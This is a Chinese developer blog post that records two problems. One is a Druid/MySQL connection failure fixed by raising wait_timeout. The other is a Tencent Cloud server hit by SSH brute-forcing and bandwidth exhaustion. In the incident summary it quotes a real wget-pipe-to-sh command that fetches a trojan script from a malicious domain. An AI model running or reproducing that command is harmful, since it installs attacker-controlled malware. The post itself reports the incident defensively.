项目实训2

项目实训2

1. druid连接池异常

1. 背景

之前用durid连接的服务器上的mysql数据库,在日常本地启动项目的时候,突然出现了异常

2022-03-21 15:17:04,812 ERROR [main] c.a.d.p.DruidDataSource.init(943): init datasource error, url: jdbc:mysql://101.35.109.5:3306/GuKe
com.mysql.cj.jdbc.exceptions.CommunicationsException: Communications link failure

The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.

2. 过程

因为为了调试方便,买了腾讯云的云服务器,同样,为了省下再购买云数据库的钱,就直接在云服务器上搭建了mysql服务,开放了3306端口,开放了腾讯云的安全组,直接本地连接云服务器上的mysql数据库。所以数据库连接的是用ip地址,用IDE开发好后,于是部署到远程云服务器上。

这里说到开放端口,还有一个小插曲,我在腾讯云上购买的云服务器突然在某一天带宽被几乎占满,一度到ssh连接都连接不上的情况,这个在另一篇博客中会细说。悲惨的事,最后迫不得已重装了系统,重新安装、配置各种环境。

报错信息如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aVaU6TFx-1647852703594)(/Users/nyq/Library/Application Support/typora-user-images/image-20220321153630661.png)]

3. 解决

1.首先检查了数据库连接地址(配置文件中的url)是否正确:没问题,毕竟之前都能正常连接并且没有作更改

2.有可能是由mysql5数据库的配置引起的。mysql5将其连接的等待时间(wait_timeout)缺省为8小时。在其客户程序中可以这样来查看其值:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zouydkvF-1647852703594)(/Users/nyq/Library/Application Support/typora-user-images/image-20220321160322222.png)]

28800 seconds,也就是8小时,如果在wait_timeout秒期间内,数据库连接(java.sql.Connection)一直处于等待状态,mysql5就将该连接关闭。这时,你的Java应用的连接池仍然合法地持有该连接的引用。当用该连接来进行数据库操作时,就碰到上述错误。

这里我选择将mysql的全局变量wait_timeout的值修改为最大。查看mysql5的手册,发现windows和linux下wait_timeout的最大值分别是24天和365天。

(1).在文件my.ini的最后增加一行:wait_timeout=1814400。linux下位置为/etc/my.ini

(2).重启mysql。

最终解决。
在这里插入图片描述

2. 云服务器异常

1. 背景

同样是日常调试的时候,发现ssh连接怎么都连接不上服务器,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DRrooEiq-1647852703595)(/Users/nyq/Library/Application Support/typora-user-images/image-20220321161950787.png)]

2. 过程

在网上各种搜索22端口的ssh连接连接不上的原因,看到了有可能是带宽占用过高而连接不上,所以登录腾讯云云监控控制台,发现带宽确实占用异常严重,导致无法使用ssh连接服务器。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oBAqgXku-1647852703595)(/Users/nyq/Library/Application Support/typora-user-images/image-20220321163154677.png)]

没有办法,无法登录也无法查看哪些服务占用的带宽。

最后只能使用腾讯云提供的VNC登录,可以在ssh等连接方式无法使用的时候应急使用。

  1. 登录 云服务器控制台。

  2. 选择待检查的云服务器,单击【登录】。如下图所示:
    img

  3. 在弹出的 “登录Windows/Linux实例” 窗口中,选择【其它方式(VNC)】,单击【立即登录】,登录云服务器。

  4. 在弹出的登录窗口中,选择左上角的 “发送远程命令”,单击 Ctrl-Alt-Delete 进入系统登录界面。如下图所示:
    img

  5. 下载流量监控工具

yum install iftop -y
  1. 安装lsof并执行
yum install lsof -y

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Sj9aFUZU-1647852703595)(/Users/nyq/Library/Application Support/typora-user-images/image-20220321164127548.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YkSJORG1-1647852703595)(/Users/nyq/Library/Application Support/typora-user-images/image-20220321164147125.png)]

但是查找了半天,也没有发现占用带宽过大的服务 or 请求。

最后问了腾讯云客服,发现可能是因为开放的端口导致服务器被入侵了:

1、服务器内有密码爆破成功的记录:58.194.168.192----ssh 山东-济南市
2、服务器多次请求访问存在木马病毒的域名:oracle.zzhreceive.top
3、服务器内有执行高危命令下载木马脚本文件:/bin/sh -c wget -q -O-
http://oracle.zzhreceive.top/b2f628/b.sh | sh

最后只能重新装系统,提前将原服务器mysql数据库中的数据全部备份了一份。

3. 总结

之后也就受教训了,提前备份好了服务器的定期快照、数据快照以及系统镜像。

在项目上线之后关闭mysql3306端口的外地访问,直接在项目中使用127.0.0.1访问。

但是由于本人本地外网IP不固定,所以无法使用安全组或者系统防火墙禁止除了本地外网IP之外所有IP的登录请求。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值